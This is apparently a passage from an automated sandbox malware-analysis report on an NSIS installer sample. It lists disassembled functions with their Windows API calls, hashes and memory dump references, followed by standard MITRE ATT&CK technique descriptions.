Instruction Fuzzy Hash: 9921BFB1C00128BBCF116FA5DE49D9E7E79EF09364F14423AF960762E0CB794C419B98

Function 0040652B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,007B5800,007B5800,007B3000,00403347,007B5800,75923420,004035B6,?,00000006,00000008,0000000A), ref: 0040658E
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 0040659D
CharNextW.USER32(?,00000000,007B5800,007B5800,007B3000,00403347,007B5800,75923420,004035B6,?,00000006,00000008,0000000A), ref: 004065A2
CharPrevW.USER32(?,?,007B5800,007B5800,007B3000,00403347,007B5800,75923420,004035B6,?,00000006,00000008,0000000A), ref: 004065B5

Strings

*?|<>/":, xrefs: 0040657D

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: f2dbc7d310367101a7bf5127f564121aa95c210a65fb008c6410ea5a4ac792ac
Instruction ID: 354a4add7e9ac5ce680480da4fd3ed99b8030fd96c8c1ffbe99f836226306b46
Opcode Fuzzy Hash: f2dbc7d310367101a7bf5127f564121aa95c210a65fb008c6410ea5a4ac792ac
Instruction Fuzzy Hash: 4511B655800612A5DF303B14AD44A7772F8EF547A0F56443FE985733C4E77C5C9286AD

Function 00405C17 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,?,?,?,004015D1,00000000,000000F0), ref: 00405C25
CharNextW.USER32(00000000,?,?,?,004015D1,00000000,000000F0), ref: 00405C2A
CharNextW.USER32(00000000,?,?,?,004015D1,00000000,000000F0), ref: 00405C42

Strings

\, xrefs: 00405C3A
:, xrefs: 00405C34

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: CharNext
String ID: :$\
API String ID: 3213498283-1166558509
Opcode ID: 92222cf075acf2fbc044c76267536a24963eff6ee4d7f8d65295f56b9dd724d0
Instruction ID: 6a9d977fbe5713998eb834b7ad01fe533960ca492682b5c2b36711c34b001c28
Opcode Fuzzy Hash: 92222cf075acf2fbc044c76267536a24963eff6ee4d7f8d65295f56b9dd724d0
Instruction Fuzzy Hash: DDF0F061808B1095FB3176644C88E7B66BCEB55360B04803BE641B72C0D3B84DC18EAA

Function 0040176F Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,0040A5A8,007B4000,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,0040A5A8,0040A5A8,00000000,00000000,0040A5A8,007B4000,?,?,00000031), ref: 004017D5

Part of subcall function 00406297: lstrcpynW.KERNEL32(?,?,00000400,0040343D,007A7A20,NSIS Error,?,00000006,00000008,0000000A), ref: 004062A4

Part of subcall function 004052FF: lstrlenW.KERNEL32(007A0F00), ref: 00405337
Part of subcall function 004052FF: lstrlenW.KERNEL32(?,007A0F00), ref: 00405347
Part of subcall function 004052FF: lstrcatW.KERNEL32(007A0F00,?,?,007A0F00), ref: 0040535A
Part of subcall function 004052FF: SetWindowTextW.USER32(007A0F00,007A0F00), ref: 0040536C
Part of subcall function 004052FF: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405392
Part of subcall function 004052FF: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004053AC
Part of subcall function 004052FF: SendMessageW.USER32(?,00001013,?,00000000), ref: 004053BA

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 58fdc18d76f7bcf16c6fce6c3f21aaeb4e3bf1edbc87f50fc288292bb51d9b5e
Instruction ID: 2a95d3c8b727dc51f4ea131d05094547f585338353aa12d45a2270be549af1c7
Opcode Fuzzy Hash: 58fdc18d76f7bcf16c6fce6c3f21aaeb4e3bf1edbc87f50fc288292bb51d9b5e
Instruction Fuzzy Hash: C141B471910514BACF107BA5DD45DAF3A79EF45328B20823FF512B10E1DB3C4A519B6E

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDA8), ref: 00401E3E

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 2e8c6812557a8000d290618689d5c167272f7de43d41522ca2a47e16c60e8740
Instruction ID: 8812a6a15301a194985102fbed33e50eefbd915e65da34b8167a76c641a3bf07
Opcode Fuzzy Hash: 2e8c6812557a8000d290618689d5c167272f7de43d41522ca2a47e16c60e8740
Instruction Fuzzy Hash: 1B017571948240EFE7406BB4AF8A7D97FB49F95301F10457EE241B71E2CA7804459F2D

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 2a08160353212a6e5352d7991a9f72d4257b9bf0db71b279ef6b12194f0acfdb
Instruction ID: 7e4da700d615158f321032e6dee441e0afa22e46251462cde10931eea5e4b44d
Opcode Fuzzy Hash: 2a08160353212a6e5352d7991a9f72d4257b9bf0db71b279ef6b12194f0acfdb
Instruction Fuzzy Hash: 59F0EC72A04518AFDB41DBE4DE88CEEB7BCEB48301B14446AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 3974eff3514ac80dd6c1aa8123252385dbc5481e5078a21275b56949e15273d0
Instruction ID: 5915ba61491c244e76e1eaab0aa102c6a5e0f3d841db56a12d121f6c77e1b82d
Opcode Fuzzy Hash: 3974eff3514ac80dd6c1aa8123252385dbc5481e5078a21275b56949e15273d0
Instruction Fuzzy Hash: E621C371948209AEEF049FB5DE4AABE7BB4EF84304F14443EF605F61D0D7B889409B18

Function 00404ABB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(007A1F20,007A1F20,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404B5C
wsprintfW.USER32 ref: 00404B65
SetDlgItemTextW.USER32(?,007A1F20), ref: 00404B78

Strings

%u.%u%s%s, xrefs: 00404B46

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 659e19d517a3b0c3334d5d290c3650de3f4e6e8c213cad244c2b0995072c2ab2
Instruction ID: c6a8333de7f2a0e63f9e82a7fb0d3590b97a2c0368f8d4fe0eecd184368e2ceb
Opcode Fuzzy Hash: 659e19d517a3b0c3334d5d290c3650de3f4e6e8c213cad244c2b0995072c2ab2
Instruction Fuzzy Hash: 5711DB736041282BDB00656D9C41F9E329CDB86334F15423BFB25F21D1D978DC1186E8

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: a4e23b119c2c64eb18a4fa0724f9b8d9fe0ec592ff9815e45bdb7592abe1cef3
Instruction ID: 4ebe2cb43181949e29f1e9fb79ae388d5d3e17bd3db4e8cfc4c1202d027f6d8e
Opcode Fuzzy Hash: a4e23b119c2c64eb18a4fa0724f9b8d9fe0ec592ff9815e45bdb7592abe1cef3
Instruction Fuzzy Hash: FB116A32500108FBDF02AB90CE49FEE7B7DAF44340F110076B905B51E1E7B59E21AB58

Function 004057CE Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,?,00000000), ref: 00405811
GetLastError.KERNEL32 ref: 00405825
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040583A
GetLastError.KERNEL32 ref: 00405844

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: c7775b55854fc79259119bfc4daa9494171cd7cf58f96f816c013ac7f64a11dc
Instruction ID: 32cc50e607dd20b61f2ed470817bc290d965520901a5db6b5155953f1fdd03ed
Opcode Fuzzy Hash: c7775b55854fc79259119bfc4daa9494171cd7cf58f96f816c013ac7f64a11dc
Instruction Fuzzy Hash: B1010872C10619DADF00AFA1C9447EFBBB8EF14355F00803AD945B6281E77896188FA9

Function 00402E79 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000,00403059,00000001,?,00000006,00000008,0000000A), ref: 00402E8C
GetTickCount.KERNEL32 ref: 00402EAA
CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402EC7
ShowWindow.USER32(00000000,00000005,?,00000006,00000008,0000000A), ref: 00402ED5

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 642f8ca692fd152fc603be3dcb1ebc0d266b07749ec13cb5d5f59d94c884d359
Instruction ID: b514363a92e965461d88eaa206c20d0702a544c8e4880045d1c7c79aac8a479e
Opcode Fuzzy Hash: 642f8ca692fd152fc603be3dcb1ebc0d266b07749ec13cb5d5f59d94c884d359
Instruction Fuzzy Hash: 3AF05E30966A21EBC6606B24FE8CA8B7B64FB44B01711887BF001B11B4DA7C4892CBDC

Function 00405C74 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406297: lstrcpynW.KERNEL32(?,?,00000400,0040343D,007A7A20,NSIS Error,?,00000006,00000008,0000000A), ref: 004062A4

Part of subcall function 00405C17: CharNextW.USER32(?,?,?,?,004015D1,00000000,000000F0), ref: 00405C25
Part of subcall function 00405C17: CharNextW.USER32(00000000,?,?,?,004015D1,00000000,000000F0), ref: 00405C2A
Part of subcall function 00405C17: CharNextW.USER32(00000000,?,?,?,004015D1,00000000,000000F0), ref: 00405C42

lstrlenW.KERNEL32(007A4728,00000000,007A4728,007A4728,?,?,?,004059C9,?), ref: 00405CCD
GetFileAttributesW.KERNEL32(007A4728,007A4728,007A4728,007A4728,007A4728,007A4728,00000000,007A4728,007A4728,?,?,?,004059C9,?), ref: 00405CDD

Strings

(Gz, xrefs: 00405C7A

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: (Gz
API String ID: 3248276644-3338112938
Opcode ID: a52dea6f46491884bfea8966144719ff55b77873c2b9e35538818f57ee0f9f4e
Instruction ID: 850bfc7ffc9f89e8bebb6f59b63454ed566b5c4d810398842941662e03732b0e
Opcode Fuzzy Hash: a52dea6f46491884bfea8966144719ff55b77873c2b9e35538818f57ee0f9f4e
Instruction Fuzzy Hash: 82F0D625019F5216F622363A4D09AAF1954CE82364B0A013FF891722C1DB3C8942DD6E

Function 00405273 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004052A2
CallWindowProcW.USER32(?,?,?,?), ref: 004052F3

Part of subcall function 0040425A: SendMessageW.USER32(?,?,00000000,00000000), ref: 0040426C

Strings

, xrefs: 00405283

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 1596ab6e3354de94528cf133c19516d9ce94324b0b8efb63eeb8625a5778ab08
Instruction ID: beea61cd65c8703650dc93cdae6e0720761c29505c5582e3341eda9a3c117467
Opcode Fuzzy Hash: 1596ab6e3354de94528cf133c19516d9ce94324b0b8efb63eeb8625a5778ab08
Instruction Fuzzy Hash: BD01BC71200608AFEB208F11DD80AAB3B25EF85355F20807FFA01761D0C73A8C919F2E

Function 00405DBC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405DDA
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,007B3000,0040336A,007B5000,007B5800,007B5800,007B5800,007B5800,007B5800,75923420,004035B6), ref: 00405DF5

Strings

nsa, xrefs: 00405DC9

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 579317ece081e1c49d3b274132234632dc0f80c8b4471fc5797a0d742f25062f
Instruction ID: 33897e7ea40e9bcc5f45ceb9d35bf1368e2cdd1c67b8b6f6c5069f2428d8a25f
Opcode Fuzzy Hash: 579317ece081e1c49d3b274132234632dc0f80c8b4471fc5797a0d742f25062f
Instruction Fuzzy Hash: D4F03076610304FBEB009F69DD05F9FBBB8EB95710F10803AED40E7250E6B1AA54CBA4

Function 00405CF2 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000), ref: 00405D02
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405D1A
CharNextA.USER32(00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000), ref: 00405D2B
lstrlenA.KERNEL32(00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000), ref: 00405D34

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 6db5b03da17fe1faae21ad7e2c869b7ed7bb68520138c246bcc2ad94f2104a67
Instruction ID: 076f441daad098c1e87a0755c7bbd60db18a276d6ce73f7d9d897af98e652dc6
Opcode Fuzzy Hash: 6db5b03da17fe1faae21ad7e2c869b7ed7bb68520138c246bcc2ad94f2104a67
Instruction Fuzzy Hash: E5F0F631204918FFC7129FA4DD0499FBBB8EF06354B2580BAE840FB211D674DE01AFA8

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

